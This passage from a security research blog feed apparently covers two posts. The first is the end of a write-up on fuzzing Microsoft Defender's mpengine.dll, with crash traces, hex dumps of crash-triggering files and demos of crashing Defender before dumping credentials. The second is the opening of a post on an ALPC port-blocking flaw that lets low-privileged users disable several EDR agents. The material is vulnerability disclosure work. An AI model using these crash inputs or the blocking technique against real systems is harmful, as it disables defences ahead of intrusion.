#41523 cov: 96330 (+918) corp: 5304 (302.9kb) exec/s: 346.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 78 uptime: 3.2min
#43117 cov: 97747 (+1417) corp: 5439 (331.6kb) exec/s: 331.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 93 uptime: 3.4min
#45219 cov: 99233 (+1486) corp: 5572 (363.2kb) exec/s: 322.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 94 uptime: 3.5min
#47520 cov: 100210 (+977) corp: 5736 (404.8kb) exec/s: 316.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 94 uptime: 3.7min
#49300 cov: 101207 (+997) corp: 5890 (447.6kb) exec/s: 308.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 95 uptime: 3.9min
#50935 cov: 102396 (+1189) corp: 6079 (502.5kb) exec/s: 299.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 98 uptime: 4.0min
#51692 cov: 103436 (+1040) corp: 6155 (525.7kb) exec/s: 287.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 99 uptime: 4.2min
#51910 cov: 103602 (+166) corp: 6167 (529.3kb) exec/s: 273.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 99 uptime: 4.4min
#52149 cov: 103634 (+32) corp: 6178 (532.7kb) exec/s: 260.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 100 uptime: 4.6min

./wtf fuzz --name defender_file  --state state2_MpEngine1.1.2310_PHenabled_locked --backend kvm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a fuzzing run of the already processed seeds from VX-Underground. The speed drops as the input file size increases, consequently making scanning take longer.&lt;/p&gt;
&lt;p&gt;The maximum coverage of &lt;code&gt;mpengine.dll&lt;/code&gt; I achieved before the fuzzer stopped at the end of the function &lt;code&gt;mpengine!UfsScanFileCmd::Execute&lt;/code&gt; was around &lt;code&gt;154,000&lt;/code&gt; basic blocks.&lt;/p&gt;
&lt;p&gt;The fuzzing results and analysis of the crashes are described in &lt;a href=&quot;#5-Results&quot;&gt;Section 5. Results&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;4.5 Fuzzing with kAFL/NYX&lt;/h2&gt;
&lt;p&gt;Since WTF, by default, includes relatively simple mutation strategies, I decided to use kAFL, which incorporates more advanced techniques like &lt;a href=&quot;https://www.ndss-symposium.org/ndss-paper/redqueen-fuzzing-with-input-to-state-correspondence/&quot;&gt;Redqueen&lt;/a&gt;. This can help fuzz through complex &lt;code&gt;cmp&lt;/code&gt; instructions that are unlikely to be passed accidentally. I hoped this would yield more coverage.&lt;/p&gt;
&lt;h3&gt;Harness&lt;/h3&gt;
&lt;p&gt;As a harness I adapted &lt;a href=&quot;https://github.com/taviso/loadlibrary/blob/master/mpclient.c&quot;&gt;mpclient.c from loadlibrary&lt;/a&gt;. Initially, I wanted to trigger a normal scan on the running system and then set hooks at the snapshotting position. However, there was no documentation on how to fuzz it by injecting and then triggering the kAFL interaction by using hooks. Recently, a new way of using NYX called &lt;a href=&quot;https://github.com/neodyme-labs/hyperhook&quot;&gt;Hyperhook&lt;/a&gt; is available. Using Hyperhook, a classic harness to initialize and call the target code is not necessary, and Defender could potentially be fuzzed in its original environment more easily.&lt;/p&gt;
&lt;p&gt;The code of the harness based on &lt;code&gt;mpclient.c&lt;/code&gt; is on Github: &lt;a href=&quot;https://github.com/ig-labs/Defender-mpengine-Fuzzing/blob/main/mpclient_defender_harness_kafl.c&quot;&gt;mpclient_defender_harness_kafl.c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A version to test the harness without hypercalls is also available: &lt;a href=&quot;https://github.com/ig-labs/Defender-mpengine-Fuzzing/blob/main/mpclient_defender_harness_withoutHypercalls.c&quot;&gt;mpclient_defender_harness_withoutHypercalls.c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Initially, I used kAFL on a Hetzner server with an &lt;code&gt;Intel Xeon Gold 5412U&lt;/code&gt; CPU, but this led to frequent &lt;code&gt;libxdc_decode&lt;/code&gt; errors:
&lt;img src=&quot;./kafl_decodeerror.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These errors did not occur in a previous setup on an older laptop. As the kAFL maintainers had not encountered these errors on other targets, I tested different CPUs on AWS bare-metal systems. Intel Xeon CPUs from the 3rd generation and newer seem to cause these errors. On Intel Xeon 1st and 2nd generation CPUs, the problem did not manifest.&lt;/p&gt;
&lt;p&gt;Another problem is a memory consumption issue described in this &lt;a href=&quot;https://github.com/IntelLabs/kAFL/issues/271&quot;&gt;GitHub Issue&lt;/a&gt;. The QEMU instances consume progressively more memory and eventually die. Reducing the number of running instances (to provide more memory per core) and periodically restarting the fuzzing process (e.g., after several days) helped mitigate this.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./kafl_gui.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used kAFL with Redqueen and Grimoire enabled and ran it for a month. It found some new coverage, but very little overall, and no new crashes. This was surprising, as I had expected better results from these advanced mutation techniques.&lt;/p&gt;
&lt;h2&gt;4.6 Fuzzing with Jackalope&lt;/h2&gt;
&lt;p&gt;As I already had a harness to trigger a scan using &lt;code&gt;RSIG_SCAN_STREAMBUFFER&lt;/code&gt; from the kAFL harness, I wanted to test Jackalope as I hadn&apos;t used it before. However, Jackalope proved less suitable for this target because the initialization (loading &lt;code&gt;mpengine.dll&lt;/code&gt;) is time-consuming, taking about 10 seconds per launch.&lt;/p&gt;
&lt;p&gt;The code of the harness based on mpclient.c is on Github: &lt;a href=&quot;https://github.com/ig-labs/Defender-mpengine-Fuzzing/blob/main/jackalope_defender_harness_stream.c&quot;&gt;jackalope_defender_harness_stream.c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Initially, the initialization happened for every single run because Jackalope restarts on new coverage even if you use persistent fuzzing. Therefore, &lt;code&gt;-clean_target_on_coverage 0&lt;/code&gt; is necessary.&lt;/p&gt;
&lt;p&gt;However, the target still needed to reload frequently due to timeouts with some inputs. If the timeout was set low, the target reloaded frequently. If set high, it spent too much time on slow inputs. Additionally, many crashing files were already in the seeds, causing further reloads. Ultimately, it was too slow, making a snapshot fuzzer the better choice for mpengine.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\fuzzing\Jackalope\build\Release&amp;gt; .\fuzzer.exe -crash_retry 0 -generate_unwind -coverage_retry 0 -clean_target_on_coverage 0 -in seeds -out out -t1 100000 -t 10000 -delivery shmem -instrument_module mpengine.dll -target_module jackalope_defender_harness_stream.exe -target_method scanFile -nargs 0 -iterations 1000 -persist -loop -nthreads 1 -- jackalope_defender_harness_stream.exe &quot;@@&quot;
Fuzzer version 1.00
156019 input files read
Running input sample seeds\000132616d55e4bd0866cb5ed828dc88
setup shared mem shm_fuzz_31364_1
[+] Starting... jackalope_defender_harness_stream.exe
[+++++++] NEW START!
laoded dll
got rsignal addr 5fc0e2e0
size BootParams: 1b8

Total execs: 1
Unique samples: 0 (0 discarded)
Crashes: 0 (0 unique)
Hangs: 0
Offsets: 0
Execs/s: 1

Total execs: 1
Unique samples: 0 (0 discarded)
Crashes: 0 (0 unique)
Hangs: 0
Offsets: 0
Execs/s: 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;5. Results&lt;/h1&gt;
&lt;p&gt;The fuzzing was performed on an older version of mpengine.dll (&lt;code&gt;1.1.23100.2009&lt;/code&gt;) as I had started reversing it some time ago and continued fuzzing later. However, most crashes could be reproduced on the new version &lt;code&gt;1.1.25040.1&lt;/code&gt; from April 2025. Crash1 was likely fixed as Crash1 and Crash2 were reported to MSRC but both &quot;did not meet MSRC’s bar for immediate servicing&quot;.  Crash5 and Crash6 no longer trigger a crash in the latest version; I did not verify if the underlying issue was fixed or if other code changes merely altered the path.&lt;/p&gt;
&lt;p&gt;To reproduce these crashes, enable full PageHeap for &lt;code&gt;MsMpEng.exe&lt;/code&gt;. This can be done by booting Windows in Safe Mode, making the change, and then restarting. Otherwise, access is blocked. The files are available &lt;a href=&quot;https://github.com/ig-labs/defender-mpengine-fuzzing/tree/main/crashes&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here is a list of the identified bugs (note: &lt;code&gt;mpengine.dll&lt;/code&gt; base address was &lt;code&gt;0x7ffcdbab0000&lt;/code&gt;):&lt;/p&gt;
&lt;h3&gt;crash1-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc670b03&lt;/h3&gt;
&lt;p&gt;Crashes without PageHeap in most attempts. It was likely fixed in an unknown version after being reported to MSRC. This is the only bug which triggerd in a real environment but not with the harness using &lt;code&gt;RSIG_SCAN_STREAMBUFFER&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;Java archive data (JAR)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpengine!strncmp+0x13
mpengine!RpfAPI_strncmp+0xa3
mpengine!netvm_method_call+0x1b2
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_method_call+0x9b
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_loadmodule2+0x3ad
mpengine!rpf_pInvoke+0x235
mpengine!scan_rpf+0x6c
mpengine!kcrce_scanfilelast+0x42
mpengine!UfsScannerWrapper::ScanFile+0x9f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash1_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash2-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdbba5fdf&lt;/h3&gt;
&lt;p&gt;Null Pointer Dereference. Reliably crashes Defender.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;unknown&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpengine!FilteredTrie&amp;lt;unsigned long,FilteredTrieSerializer&amp;lt;unsigned long&amp;gt;,1&amp;gt;::match+0x603
mpengine!hstr_internal_search_worker+0x108
mpengine!hstr_internal_search+0x7e
mpengine!DmgScanner::Scan+0x682
mpengine!dmg_scanfile+0x63
mpengine!UfsScannerWrapper::ScanFile+0x9f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash2_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash3-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc0a4acb&lt;/h3&gt;
&lt;p&gt;OOB Read of 4 bytes (reserved but unallocated memory). Only crashes with PageHeap.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;PE32 executable (GUI) Intel 80386, for MS Windows, 3 sections&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpengine!memcpy_repmovs+0xb 05f4acb
mpengine!CachedFile::InternalWrite+0x376  002f6266
mpengine!CachedFile::Write+0x3c 002f5edc
mpengine!vfo_write+0x92 00163822
mpengine!RpfAPI_vfo_write+0x5a  08b2c1a
mpengine!netvm_method_call+0x1b2  08b5ad6
mpengine!netvm_emulate+0x758  0010d468
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_method_call+0x9b
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_loadmodule2+0x3ad
mpengine!rpf_pInvoke+0x235
mpengine!rpf_pInvoke_PE+0x5d
mpengine!pefile_call_breakpoint_handlers+0x93
mpengine!kvscanpage4sig+0x150
mpengine!scan_PE_context::jmp_scan+0xfc
mpengine!BasicBlocksInfo::scan_BB+0x71
mpengine!DTscan_worker&amp;lt;0&amp;gt;+0x22f
mpengine!DTscan+0x117
mpengine!scan_pe_dtscan_slice+0x9c
mpengine!scan_pe_dtscan+0xff
mpengine!scan_pe_redtscan+0x167
mpengine!pefile_scan_mp+0x2105
mpengine!UfsScannerWrapper::ScanFile+0x52

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash3_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash4-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdbb6e1e7&lt;/h3&gt;
&lt;p&gt;OOB Read on finding executable in a virtual file system. Only crashes with PageHeap.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;JavaScript?&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpengine!MpSuppFindExecutable+0x5f
mpengine!MpSuppCreate+0x26f
mpengine!PreCreateProcess+0x9b
mpengine!pe_create_process+0x117
mpengine!KERNEL32_DLL_WinExec+0xf3
mpengine!__call_api_by_crc+0x1c4
mpengine!x32_parseint+0x71
mpengine!BasicBlocksInfo::safe_execute+0x53
mpengine!IL_2_exe&amp;lt;0&amp;gt;+0x8a3
mpengine!DTscan_worker&amp;lt;0&amp;gt;+0xcfb
mpengine!DTscan+0x117
mpengine!scan_pe_dtscan_slice+0x9c
mpengine!scan_pe_dtscan+0xff
mpengine!pefile_scan_mp+0x2105
mpengine!UfsScannerWrapper::ScanFile+0x52
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash4_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./crash4_ida.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash5-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc3d3b22&lt;/h3&gt;
&lt;p&gt;Interestingly, Defender scans and emulates Mach-O files on Windows. This OOB read initially seemed promising, as a size variable could potentially be influenced if the memory layout is controllable. However, it could not be turned into an OOB write. Only crashes with PageHeap.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;Mach-O 64-bit x86_64 dynamically linked shared library, flags:&amp;lt;NOUNDEFS|DYLDLINK|TWOLEVEL&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpengine!macho_lua_api_GetSegment+0x102
mpengine!luaD_precall+0x205
mpengine!luaV_execute+0x407
mpengine!luaD_call+0x35
mpengine!luaD_rawrunprotected+0x5b
mpengine!ExecuteLuaScript+0x20e
mpengine!ValidateSignatureWithPcodeWorker2+0x1d9
mpengine!ValidateSignatureWithPcode+0x23
mpengine!CHSTRMatchHelper::ProcMatchLevel+0xab
mpengine!hstr_internal_report_match_worker+0x2c5
mpengine!hstr_internal_report_match+0x44
mpengine!MachoParser::Scan+0x1e63
mpengine!macho_scanfile+0x71
mpengine!UfsScannerWrapper::ScanFile+0x9f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash5_windbg.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./crash5_ida.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash6-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcf36b3c29&lt;/h3&gt;
&lt;p&gt;OOB read in an encrypted Office document. This specific file only crashes with PageHeap but it can be adapted to crash without PageHeap.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;Composite Document File V2 Document&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This crashes because of a wrong &lt;code&gt;saltSize&lt;/code&gt; value:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000b20  44 61 74 61 20 73 61 6c  74 53 69 7a 65 3d 22 31  |Data saltSize=&quot;1|
00000ba0  68 6d 3d 22 53 48 41 32  35 36 22 20 73 61 6c 74  |hm=&quot;SHA256&quot; salt|
00000d40  30 22 20 73 61 6c 74 53  69 7a 65 3d 22 31 37 22  |0&quot; saltSize=&quot;17&quot;|
00000dc0  3d 22 53 48 41 35 31 32  22 20 73 61 6c 74 56 61  |=&quot;SHA512&quot; saltVa|
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ntdll!memcpy+0x29
bcryptPrimitives+0x5ad7
bcryptPrimitives+0x3f85
bcrypt!BCryptHashData+0x77
rsaenh!CPHashData+0xbb
CRYPTSP!CryptHashData+0x94
mpengine!OfficeEcma376AgileDecryptor::HashHelper+0x71
mpengine!OfficeEcma376AgileDecryptor::CheckPassword+0x20b
mpengine!DecryptWithPassword+0x26
mpengine!DecryptWorker+0x48
mpengine!TryDecryptDocument+0x1ab
mpengine!RME::Scan+0x137
mpengine!macro_scan+0x8c
mpengine!UfsScannerWrapper::ScanFile+0x9f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash6_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash8-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc0a517f&lt;/h3&gt;
&lt;p&gt;An OOB read while searching for a character in a string. Only crashes with PageHeap.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;Unicode text, UTF-16, little-endian text&lt;/code&gt;. This is a very small file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000  ff fe 23 00 53 00 74 00  72 00 65 00 61 00 6d 00  |..#.S.t.r.e.a.m.|
00000010  20 00 43 00 6f 00 6e 00  74 00 61 00 69 00 6e 00  | .C.o.n.t.a.i.n.|
00000020  65 00 72 00 20 00 46 00  69 00 6c 00 65 00 0a 00  |e.r. .F.i.l.e...|
00000030  74 00 61 00 69 00 6e 00  65 00 72 00 20 00 46 00  |t.a.i.n.e.r. .F.|
00000040  69 00 6c 00 00 6e 00 74  00 61 00 69 00 6e 00 65  |i.l..n.t.a.i.n.e|
00000050  00 72 00 20 00 46 00 69  00 6c 00 65 00 0a 75 72  |.r. .F.i.l.e..ur|
00000060  6f 3d 2e 63 6d                                    |o=.cm|
00000065
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mpengine!wcschr+0x27
mpengine!nUFSP_replayablecontainer::FindNext+0xe0
mpengine!UfsFindData::FindFirstUsingPlugin+0xe4
mpengine!UfsFindData::FindFirst+0xd0
mpengine!UfsClientRequest::FindNextInNode+0x270
mpengine!UfsNodeFinder::FindFirst+0xd3
mpengine!UfsClientRequest::AnalyzeNode+0x8e
mpengine!UfsClientRequest::AnalyzeLeaf+0x18c
mpengine!UfsClientRequest::AnalyzePath+0x24f
mpengine!UfsCmdBase::ExecuteCmd&amp;lt;&amp;lt;lambda_63254cfa82a2be95f0c1106eef9d5b22&amp;gt; &amp;gt;+0x11c
mpengine!UfsScanFileCmd::Execute+0x50
mpengine!ksignal+0x5f1
mpengine!EngineProcessFile+0x219
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash8_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;5.1 Example POCs&lt;/h2&gt;
&lt;p&gt;Crash Defender by clicking a link that triggers a &quot;PDF&quot; download. This could be used in combination with an initial access payload:
&lt;img src=&quot;crash2_web_link.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Crash Defender by uploading a file via SMB before dumping credentials:
&lt;img src=&quot;Defender_crash2_samdump1.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;6. Conclusion&lt;/h1&gt;
&lt;p&gt;The initial assumption that &lt;code&gt;mpengine.dll&lt;/code&gt; is an interesting fuzzing target proved correct. Nine memory-related bugs were identified that led to a denial of service. While this specific research did not uncover RCEs, the methodology could have potentially revealed exploitable bugs. Nevertheless, attackers can leverage such denial-of-service vulnerabilities to crash Defender before executing subsequent malicious actions (see &lt;a href=&quot;#51-example-pocs&quot;&gt;5.1 Example POCs&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Depending on the specific scenario, some of the identified crashes have a CVSS v4.0 score of approximately 6.8/10 (e.g., &lt;code&gt;CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N&lt;/code&gt; for a downloaded file). However, for some mail clients, Defender can also be configured to scan files automatically which would lead to a remote attack without user interaction.&lt;/p&gt;
&lt;p&gt;Given that these vulnerabilities can be easily exploited to repeatedly crash Defender&apos;s main process, we believe these issues warrant addressing by Microsoft. During our tests, no corresponding alerts were observed in the security dashboard following these crashes or subsequent malicious actions.&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>Attacking EDRs Part 3: One Bug to Stop them all</title><link>https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/</guid><description>This post describes a DoS vulnerability affecting most Windows EDR agents. The vulnerability is an issue in the handling of already existing objects in the Object Manager&apos;s namespace.</description><pubDate>Mon, 24 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/&quot;&gt;Part 1&lt;/a&gt; gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt; describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-&quot;bypass&quot; as well as a detection bypass by early startup.
Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt; (&lt;strong&gt;this article&lt;/strong&gt;) describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager&apos;s namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine&quot;&gt;Part 4&lt;/a&gt; describes the fuzzing process of Microsoft Defender&apos;s scanning and emulation engine &lt;code&gt;mpengine.dll&lt;/code&gt;. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;1. Summary of ALPC Blocking Vulnerability&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;A DoS vulnerability has been discovered within the majority of tested EDRs on Windows that allows a low priviledged user to disable the EDR after a reboot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Palo Alto Cortex XDR&lt;/li&gt;
&lt;li&gt;Microsoft Defender (for Endpoint)&lt;/li&gt;
&lt;li&gt;Check Point Harmony&lt;/li&gt;
&lt;li&gt;Kaspersky Endpoint Security for Business&lt;/li&gt;
&lt;li&gt;Trend Micro Vision One XDR&lt;/li&gt;
&lt;li&gt;Malwarebytes for Teams (only one module is disabled)&lt;/li&gt;
&lt;li&gt;SentinelOne (only one executable is blocked with unknown consequences)&lt;/li&gt;
&lt;li&gt;CrowdStrike XDR (only certain features are disabled)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This can be achieved by opening a specific ALPC (Advanced Local Procedure Call) port or other ressources, typically utilized by the products themselves. Most EDRs use ALPC for inter-process communication in the user-mode components. However, none of the tested EDRs deals with the case if the requested port-name is already used. Consequently the initialization fails and either the user-mode service crashes or is in a non-functional state. The kernel-components which are still running, did not have any detecting or blocking functionality in the tests except for Crowdstrike that implements a large part in the drivers.&lt;br /&gt;
A scheduled task can be used to win the race to register the ALPC port. For example a user-logon trigger with high prioriy and &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/winlogon-automatic-restart-sign-on--arso-&quot;&gt;ARSO&lt;/a&gt; is sufficient for most EDRs. Otherwise, event-triggers can be used but they require the &lt;em&gt;Logon as batch job&lt;/em&gt; privilege.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;PoC code can be found in this repository:
::github{repo=&quot;ig-labs/EDR-ALPC-Block-POC&quot;}&lt;/p&gt;
&lt;h1&gt;2. Windows ALPC Introduction&lt;/h1&gt;
&lt;p&gt;:::note
You do not need to know any of this to understand or exploit the vulnerability, but it may be useful if you want to conduct your own research.
:::&lt;/p&gt;
&lt;p&gt;Windows Advanced (or Asynchronous) Local Procedure Call (ALPC) is an inter-process communication (IPC) mechanism that allows processes, services and drivers on the same host to communicate with each other via pre-defined interfaces. Other IPC mechanisms include named pipes, shared memory, and remote procedure call (RPC). ALPC is a fast and efficient mechanism heavily used within the Windows operating system.&lt;/p&gt;
&lt;p&gt;ALPC itself is undocumented by Microsoft and developers are not indented to use it directly. However, there are official libraries such as RPCRT4.dll which use ALPC under the hood. &lt;a href=&quot;https://www.youtube.com/watch?v=UNpL5csYC1E&amp;amp;ab_channel=SyScan&quot;&gt;Alex Ionescu reverse engineered and published internals of ALPC&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If ALPC can be used directly or with the RPC Run Time. By default, it registers a port object at the location &lt;code&gt;\RPC Control\Test-Port&lt;/code&gt;) and afterwards a client can connect to it. If plain ALPC is used, raw messages can be send in both directions.
Typically, ALPC is used as one implementation of &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/rpc/protocol-sequence-constants&quot;&gt;Windows RPC &quot;&lt;strong&gt;ncalrpc&lt;/strong&gt;&quot;&lt;/a&gt;. The library RPCRT4.dll provides functionality for developers to use it. The server registers interfaces where each interface can have multiple methods through IDL-files which are compiled and integrated into the server and client (client/server stub).&lt;/p&gt;
&lt;p&gt;The registered ALPC ports can be looked up in &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/winobj&quot;&gt;WinObj from SysInternals&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;winobj_alpc.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; ALPC Ports in WinObj &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;alpc_overview.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/rpc/how-rpc-works&quot;&gt;How RPC works&lt;/a&gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The following decompiled output from IDA shows how an ALPC port is registered using the RPC Runtime library (RPCRT4.dll) in Cortex.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;rpctrt4_alpc_coretex_usage_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; ALPC-RPC Server Registration in Cortex&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Some important notes:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the port name is NULL, a random port name such as LRPC-71dcaff45b0f633aad is given&lt;/li&gt;
&lt;li&gt;A port can be restricted using &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptors&quot;&gt;Security Descriptors&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If no callback function is provided (and no Security Descriptor), every client can establish a connection&lt;/li&gt;
&lt;li&gt;The RPC Server can be registered at the RPC Endpoint Mapper using the function &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/desktop/api/Rpcdce/nf-rpcdce-rpcepregister&quot;&gt;RpcEpRegister&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; Most EDR ports are not registered and depending on the method you use to enumerate the ports, you don&apos;t see them (for example when using &lt;a href=&quot;https://github.com/silverf0x/RpcView&quot;&gt;RpcView&lt;/a&gt;). ProcessHacker/SystemInformer displays all ports in the Handles-Tab&lt;/li&gt;
&lt;li&gt;Clients can connect using the port name or by defining the interface UUID and version contained in the interface description (if it is registered at the endpoint mapper)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vulnerabilities in ALPC usage can be categorized as follows (though other categories probably exist):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Weak or missing access control leading to access to sensitive functionality or data&lt;/li&gt;
&lt;li&gt;Memory corruptions in handling function parameters (there is no official implementation to use RPC with managed languages)&lt;/li&gt;
&lt;li&gt;Impersonation vulnerabilities (usefulness In realistic scenarios unclear)&lt;/li&gt;
&lt;li&gt;DoS: Blocking communication (this type of vulnerability, uncovered in this research, is, to our knowledge, previously not discussed publicly).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a better understanding of ALPC and how to interact with it from a testing perspective, we recommend the following talks or the corresponding blog post:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=2GJf8Hrxm4k&amp;amp;t=2672s&amp;amp;ab_channel=HackInTheBoxSecurityConference&quot;&gt;Reimplementing Local RPC In .Net - James Forshaw&lt;/a&gt;&lt;/li&gt;
